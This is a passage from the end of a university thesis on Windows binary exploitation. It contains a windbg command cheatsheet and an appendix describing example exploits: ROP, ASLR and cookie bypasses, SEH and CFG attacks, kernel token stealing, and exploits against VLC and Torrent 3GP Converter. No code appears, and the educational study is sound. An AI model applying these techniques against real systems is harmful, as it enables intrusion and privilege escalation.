nerabilities are patched more rapidly because the kernel is a more critical component that
runs on all Windows machines.

The diffusion of an exploit technique caused a new mitigation to be born, which in turn
pushed hackers to create a new exploit technique to bypass it. This cat and mouse game
is not over yet. Some real-world vulnerable programs and drivers were examined and
exploited, and even more recent articles talking about currently-working real exploits were
used as reference material.
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Appendix A

Cdb/windbg cheatsheet

Command line options:

-p pid attach to a running process
-pn name attach to a running process
-o name [args] start a process
-y path specify symbol path (; is separator)

Syntax for various things during debug:

function symbol exefile!function
address hex without 0x nor h nor $
addr range hex start(as above) hex end (included)
addr range hex start Lhex quantity (e.g. 402010 L10)
note: the above hex quantity is an elements count, not bytes count
address of global var varname
address of local var $!varname
register to r command regname
register in expr @regname
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commands during debug:

(no category)
enter key repeat the last command
l-t turn off ”source mode” = execute 1 instruction when stepping
l+t turn on ”source mode” = execute 1 source line when stepping
* comment line (useful for spacing)
k print stack trace (most recent up)
kp print stack trace with all parameters
!address addr print info about addr
? expr evaluate an expression
?? expr evaluate a C++ expression

process control
q terminate process and quit debugger
qd quit and detach, the program is not closed
ctrl+b then enter kill the debugger
.kill kills the debugged process
.detach detach from debugged process

symbol files
.sympath[+] path set or add the symbol path (where to look for symbol files)
.sympath show the current symbol path

breakpoints
bl list breakpoints
bp addr set breakpoint to address (hex without 0x (?))
bm sym set breakpoint to symbol
bc brkId delete breakpoint by id
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memory dumping
note every command below can be given an address or range
note if no range, start from previous dump’s end, or from *ip
note if address is invalid, ?? are shown
dw dump words
dd dump dwords
dq dump quadwords
dp dump pointers
df dump floats
dD dump doubles
da dump ascii until null OR range end
du dump unicode
db dump bytes + ascii view
dW dump words + ascii view (ascii is not reversed in any way)
dc dump dwords + ascii view (ascii is not reversed in any way)
dyb dump binary and bytes
d same dump as before
dv print name and value of all local vars

memory editing
note general syntax is e* address values|”string”
note if no value is given, you’ll be prompted for a value
note the specified address is the start of writing
ea enter ascii without null terminator
eb enter bytes (can use ’a’ syntax)
ed enter dwords
eD enter doubles
ef enter floats
ep enter pointers
eq enter quadwords
eu enter unicode string without null terminator
ew enter words
eza enter ascii, null-terminated
ezu enter unicode, null-terminated
e same as before
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as/disassembling
a assemble 32 bits only instructions at *ip (nice design!!!)
a addr assemble 32 bits instruction at addr
u disassemble after last u or from *ip (somehow broken; better to include addr)
u addr disassemble 8 instructions at address
u range

uf addr disassemble function
uf /c addr disassemble call instructions in function

register read and write
r display gp registers, seg registers, flags
rF display fp registers
rX display sse xmm regs
r regname display regname (any, also flags)
r regname:type display reg with cast to (ib|ub|iw|uw|id|ud|iq|uq|f|d)

r regname=value assign reg
r. display regs of current instruction
r regname= display value and prompt for a new one

execution control
g continue execution (gdb: c and r)
g addr execute from addr
gu execute until function ends
p step (skips interrupts and calls)
p count step more instructions
pt step until return
t step (doesn’t skip interrupts nor calls)
t count step more instructions
~m resume current thread
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Appendix B

Full examples

More examples than the ones shown in the thesis were actually developed, mainly for
learning purposes. Additionally, many listings contain only the relevant part rather than
the whole code. They are all available at https://github.com/ProceDude/WindowsBina
ryExploits for public usage.

• Section B.1 contains user-mode vulnerable programs and exploits.

• Section B.2 contains kernel-mode exploits; the vulnerable “toy” targets are existing
very vulnerable drivers.

• Section B.3 contains user- and kernel-mode exploit examples to real world programs.

• Section B.4 contains miscellaneous stuff.

B.1 Vulnerable examples folder

1 simple bof contains two vulnerable programs, in which the second is identical to the
first but it has more stack space to write to. Both programs ask for a name, then read it
using the dangerous gets in a stack-based buffer.

The exploits leverage the buffer overflow to perform progressively complicate tasks and in
different variations.

2 nx contans three vulnerable programs: 1 gets pw.c is made to be attacked with ROP;
2 leakless.c is very similar to the previous one and it was not really needed; 3 pivotme.c
has an additional vulnerability to allow stack pivoting.
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rop vs 32/64.py and leakless.py use ROP to exploit the vulnerabilities in the aforemen-
tioned programs. pivot32.py perform stack pivoting be able to write a longer ropchain.

2 5 leaks contains a program that contains an arbitrary read vulnerability that allows to
leak an address and break ASLR. The python script performs such attack.

2 7 cookies contains a program that has an arbitrary write vulnerability so that stack
cookies can be bypassed as done in the python script.

3 seh contains a program with security cookies and SEH handlers, so the SEH mechanism
can be exploited as done in exploit 1.py.

4 cfg contains two CFG-instrumented programs. One uses direct calls (not protected by
CFG) and the other indirect calls. In the latter, the vulnerability allows for arbitrary
function calls. The python script rop dc32/64.py shows the fact that CFG does not pre-
vent ROP in any way. exploit ic32/64 naive.py is a test for compiler features. Instead,
exploit ic32/64 recycle.py is the script that attacks CFG.

B.2 Kernel examples folder

dummy hevd is a very simple example of using the Hacksys Extreme Vulnerable Driver.
In the example, a local variable is overwritten by exploiting the arbitrary write vulnerabil-
ity.

intelACE uses the helper class from KdMapper to load the Intel vulnerable driver and
achieve arbitrary code execution in the kernel.

tokenStealing is similar to the above example, but with an actual shellcode that performs
token stealing.

B.3 Real examples folder

The real examples folder contains two exploits on real programs: VLC and Torrent 3GP
converter.
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B.4 Other examples folder

The other examples folder contains an example of the usage of Freshy calls, in which a
calculator is opened by using syscalls.
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vorrei ringraziare.

Immensa gratitudine va a Giovanni, per avermi fatto scoprire il mondo dell’exploitation ed
avermi aiutato a navigarlo.

Grazie alle professoresse e professori per avermi insegnato tante cose utili e interessanti.

Grazie agli “OPCS” per avermi tenuto compagnia nonostante farneticassi cose strane e per
essere stati la mia famiglia.

Grazie a tutti!

87


	Chapter Introduction
	Chapter Windows internals
	The PE file format
	Calling conventions
	APIs and System Calls
	Partially documented data structures
	Structured Exception Handling (SEH)
	Kernel-related information
	Security mechanisms

	Chapter Tools of the trade
	Pwintools
	Ropper
	MSFVenom
	Debugging
	Debugging exploits
	Debugging shellcode.

	Kernel exploitation
	Kernel debugging


	Chapter A traditional exploit: stack buffer overflow
	Attack details
	Example
	Shellcoding
	An example shellcode

	Chapter Exploits and mitigations: a game of cat and mouse
	Data Execution Prevention (DEP)
	Bypassing DEP: Return Oriented Programming (ROP)
	Address Space Layout Randomization (ASLR)
	Bypassing ASLR: leaks
	Security Cookies
	Bypassing cookies: alternatives to buffer overflow
	Bypassing cookies: exploiting frame-based SEH
	Securing SEH
	Control Flow Guard (CFG)
	Bypassing CFG: alternatives
	Control-flow Enhancement Technology (CET)

	Chapter Kernel exploitation
	Differences with user-mode exploitation.
	Exploit examples
	Kernel shellcoding
	Kernel mitigations

	Chapter Real world examples
	Jump to heap in Torrent 3GP Converter
	SEH overwrite in VLC
	EternalBlue exploit on Windows SMBv1 server

	Chapter Conclusions
	Appendix Cdb/windbg cheatsheet
	Appendix Full examples
	Vulnerable examples folder
	Kernel examples folder
	Real examples folder
	Other examples folder


